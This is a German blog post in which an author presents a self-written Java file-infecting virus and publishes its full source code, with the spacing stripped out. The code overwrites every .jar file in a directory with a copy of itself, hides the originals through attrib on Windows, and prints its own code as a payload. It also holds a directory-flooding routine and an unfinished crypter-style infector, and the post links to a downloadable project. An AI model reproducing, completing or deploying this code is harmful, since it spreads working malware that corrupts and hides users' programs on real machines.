Perforin hatte mir letztens von der Idee erzählt, den Drucker für den Payload zu benutzen.
Mir hat diese Idee gefallen und ich hab versucht, das ganze in Java umzusetzen, denn Java ist läuft ja auf jedem System (auf dem Java installiert ist), also sollte das kein großes Problem sein.
Denkste :D Ich habe zwar einen Code geschrieben, dieser funktioniert unter Windows aber unter Linux schaff ich es nicht, den Drucker anzusteuern.
Ich hatte dann also den Code fertig und dachte mir, ich schreib mal einen kleinen Virus in Java. In der aktuellen Version (nur eine Beta) infiziert er Dateien auf die selbe Art, wie der Wagner Virus (original Datei umbenennen in “.”+dateiname, verstecken und eine Kopie von sich selbst als dateiname erstellen) Wenn eine Datei “.”+dateiname existiert, wird diese nach dem Virus ausgeführt, sonst löscht er sich selbst.
Mein Ziel ist es, die Infection wie bei einem Crypter ablaufen zu lassen. Also die original Datei einlesen, an eine Kopie von sich selbst anhängen und beide Dateien durch einen Splitstring trennen. Beim ausführen sich selbst einlesen und die original Datei ausführen. Das zusammenführen funktioniert schon, ich hänge nur noch daran, die original Datei wieder herzustellen.
Payload gibt es bis jetzt nur für Windows PC’s: Ich habe die Main Klasse, die auch den Code ausführt, in einen String geschrieben und lasse diesen ausdrucken.
Ich habe auf jeden Fall noch vor das ganze zu erweitern, also neue Infection-Routine und einen Payload für Linux (am besten auch etwas drucken, sonst überleg ich mir etwas anderes)
Als Entwicklungsumgebung habe ich BlueJ benutzt, da ich es schön einfach gehalten ist.
Auf meiner neuen Projektseite habe ich den Quellcode, das ganze BlueJ Projekt und die Dukomentation hochgeladen. Link
Und hier ist nochmal der Quellcode mit Syntaxhighlighting:
***MyfirstlittleVirusinJava*AusderSchwärzederKnechtschaftdurchblutigeSchlachtenansgoldeneLichtderFreiheit.**@authorR3s1stanc3*@version0.9*/importjava.io.*;importjava.lang.String;publicclassMain{privatestaticStringsplitStr="abcdefg";// not in use now/** * The main function of the Virus, which starts the whole payload */publicstaticvoidmain(String[]args){Viriivirii=newVirii();Stringmyself=virii.getName();Stringos=virii.getOS();// Get a list of all *.jar files in the current directoryString[]jarList=virii.listJar();// Replace every *.jar file with a copy of myselfFile myFile = new File ( myself ) ;for(Strings:jarList){if(!s.equals(myself)&&s.indexOf(".")!=0){virii.copyFile(s,"."+s);virii.copyFile(myself,s);if(os.equals("Windows"))virii.hideFile("."+s);}}// Prints his own main functionif(os.equals("Windows")){virii.writeFile("a.txt",virii.getMyCode());newPrint().print("a.txt");virii.deleteFile("a.txt");}// If there is an infected file -> execute it; else delete yourselfif(virii.existsFile("."+myself))virii.execute("."+myself);elsevirii.deleteFile(myself);}}/** * This class contains all funktions of the virus * * @author R3s1stanc3 * @version 0.9 */importjava.io.*;importjava.util.Random;importjava.lang.*;publicclassVirii{privatestaticStringmyCode="public class Main\n"+"{\n"+" public static void main ( String [ ] args )\n"+" {\n"+" Virii virii = new Virii ( ) ;\n"+" String myself = virii . getName ( ) ;\n"+" String os = virii . getOS ( ) ;\n"+" String [ ] jarList = virii . listJar ( ) ;\n"+" for ( String s : jarList )\n"+" {\n"+" if ( ! s . equals ( myself ) && s . indexOf ( \".\" ) != 0 )\n"+" {\n"+" virii . copyFile ( s, \".\" + s ) ;\n"+" virii . copyFile ( myself, s ) ;\n"+" if ( os . equals ( \"Windows\" ) ) virii . hideFile ( \".\" + s ) ;\n"+" }\n"+" }\n"+" if ( os . equals ( \"Windows\" ) ) \n"+" {\n"+" virii . writeFile ( \"a.txt\", virii . getMyCode ( ) ) ;\n"+" new Print ( ) . print ( \"a.txt\" ) ;\n"+" virii . deleteFile ( \"a.txt\" ) ;\n"+" }\n"+" if ( virii . existsFile ( \".\" + myself ) ) virii . execute ( \".\" + myself ) ) ;\n"+" else virii . deleteFile ( myself ) ;\n"+" }\n"+"}";/** * Function to get the file name of the running file * @return Filename as String */publicStringgetName(){Stringfilename=newFile(this.getClass().getProtectionDomain().getCodeSource().getLocation().getPath()).getName();//filename = filename . indexOf ( "." ) > -1 ? ( filename . substring ( 0, filename . lastIndexOf ( "." ) ) ) : ( filename ) ;if(filename.indexOf(".")>-1)filename=filename.substring(0,filename.lastIndexOf("."));elsefilename=filename;returnfilename+".jar";}/** * Floods the current directory with files * The files are named with random Integers and filled with rand Integers too * @param number Number of files to flood */publicvoidflood(intnumber){FileOutputStreamout;PrintStreamp;Randomrand=newRandom();try{for(inti=0;i<number;i++){Integerj=newInteger(rand.nextInt());out=newFileOutputStream(j.toString());p=newPrintStream(out);p.println(rand.nextInt());p.close();}}catch(Exceptione){}}/** * Creates a directory * @param name Name of the directory */publicvoidcreateDir(Stringname){booleandir=newFile(name).mkdir();}/** * Lists all *.jar files in the current directory * @return String Array with all file names */publicString[]listJar(){Filedir=newFile("./");String[]fileList=dir.list(newFilenameFilter(){publicbooleanaccept(Filed,Stringname){returnname.endsWith(".jar");}});returnfileList;}/** * Copies a file to a destination * @param source Name of the source file * @param dest Name of the destination file */publicvoidcopyFile(Stringsource,Stringdest){try{Filef1=newFile(source);Filef2=newFile(dest);InputStreamin=newFileInputStream(f1);OutputStreamout=newFileOutputStream(f2);byte[]buf=newbyte[1024];intlen;while((len=in.read(buf))>0){out.write(buf,0,len);}in.close();out.close();f2.setExecutable(true);System.out.println("copied \n"+source+" to \n"+dest+"!");}catch(FileNotFoundExceptionex){}catch(IOExceptione){}}publicStringgetOS(){if(System.getProperty("os.name").indexOf("Lin")!=-1)return"Linux";elseif(System.getProperty("os.name").indexOf("Win")!=-1)return"Windows";elsereturnnull;}/** * Executes a file (I found the code on the internet) * @param file Name of the file to execute */publicvoidexecute(Stringfile){try{Processp=null;ProcessBuilderpb=newProcessBuilder("./"+file);p=pb.start();InputStreamin=null;OutputStreamoutS=null;StringBuffercommandResult=newStringBuffer();Stringline=null;intreadInt;intreturnVal=p.waitFor();in=p.getInputStream();while((readInt=in.read())!=-1)commandResult.append((char)readInt);outS=(BufferedOutputStream)p.getOutputStream();outS.close();System.out.println(commandResult.toString());in.close();}catch(Exceptione){}}/** * Used to split an infected file using a splitstring; not in use; but it works (tested with textfiles) * @param file File to split * @param splitStr The splitstring * @return The to parts of the file in a Stringarray */publicString[]getOldFile(Stringfile,StringsplitStr){try{StringBufferfileData=newStringBuffer(1000);BufferedReaderreader=newBufferedReader(newFileReader(file));char[]buf=newchar[1024];intnumRead=0;while((numRead=reader.read(buf))!=-1){StringreadData=String.valueOf(buf,0,numRead);fileData.append(readData);buf=newchar[1024];}reader.close();Stringdata=fileData.toString();String[]splited;splited=data.split(splitStr);returnsplited;}catch(Exceptione){returnnull;}}/** * Writes a String to a file * @param fi File to write to * @param data String to write in the file */publicvoidwriteFile(Stringfi,Stringdata){try{Filefile=newFile(fi);FileWriterfw=newFileWriter(file);fw.write(data);fw.flush();fw.close();}catch(Exceptione){}}/** * Reads the content of a file * @param name Name of the file * @return The files content as String */publicStringreadFile(Stringname){try{RandomAccessFilefile=newRandomAccessFile(name,"r");byte[]data=newbyte[(int)file.length()];file.read(data);file.close();returnnewString(data);}catch(Exceptione){returnnull;}}/** * Should combine two files with a splitstring in between; doesn't work; not in use; Second file will be executed when executed. - Special thanks to ringi * @param file Name of the file * @param split Splitstring between hostfile and infected file */publicvoidinfectFile(Stringfile,Stringsplit){try{RandomAccessFiledata1=newRandomAccessFile("."+file,"r");RandomAccessFiledata2=newRandomAccessFile(file,"r");byte[]byte1=newbyte[(int)data1.length()];byte[]byte2=newbyte[(int)data2.length()];byte[]splitBytes=newbyte[split.length()];byte[]both=newbyte[split.length()+byte1.length+byte2.length];splitBytes=split.getBytes();data1.read(byte1);data2.read(byte2);data1.close();data2.close();both=concat(byte1,splitBytes,byte2);RandomAccessFilenewFile=newRandomAccessFile(file,"rw");newFile.write(both);newFile.close();}catch(Exceptione){}}/** * Connects 3 Bytearrays to one - Special thanks to ringi * @param A first Bytearray * @param B second Bytearray * @param C third Bytearray * @return The big byte array */publicbyte[]concat(byte[]A,byte[]B,byte[]C){byte[]D=newbyte[A.length+B.length+C.length];System.arraycopy(A,0,D,0,A.length);System.arraycopy(B,0,D,A.length,B.length);System.arraycopy(C,0,D,A.length+B.length,C.length);returnD;}/** * Deletes a file * @param file File to delete */publicvoiddeleteFile(Stringfile){(newFile(file)).delete();}/** * Hides a file under windows * @param fileName File to hide */publicvoidhideFile(StringfileName){try{Runtime.getRuntime().exec(newString[]{"cmd","/c","attrib","+H","."+fileName});}catch(Exceptione){}}/** * Checks if a file exists * @param file File to check * @return true: exists; false: does not exist */publicbooleanexistsFile(Stringfile){return(newFile(file)).exists();}/** * Checks if a file is infected * @param data The content of the file * @param splitStr The splitstring * @return true: is infected; false: is not infected */publicbooleanisInfected(Stringdata,StringsplitStr){return(data.split(splitStr).length)>1;}publicStringgetMyCode(){returnmyCode;}}/** * This class prints a file ( only for Windows ) * * @author R3s1stanc3 * @version 1.0 */importjava.awt.Desktop;importjava.io.*;publicclassPrint{/** * Prints a file on a Windows System * @param file Name of the file to print */publicvoidprint(Stringfile){try{Desktopdesktop=null;if(Desktop.isDesktopSupported()){desktop=Desktop.getDesktop();}desktop.print(newFile(file));}catch(UnsupportedOperationExceptione){}catch(Exceptionex){}}}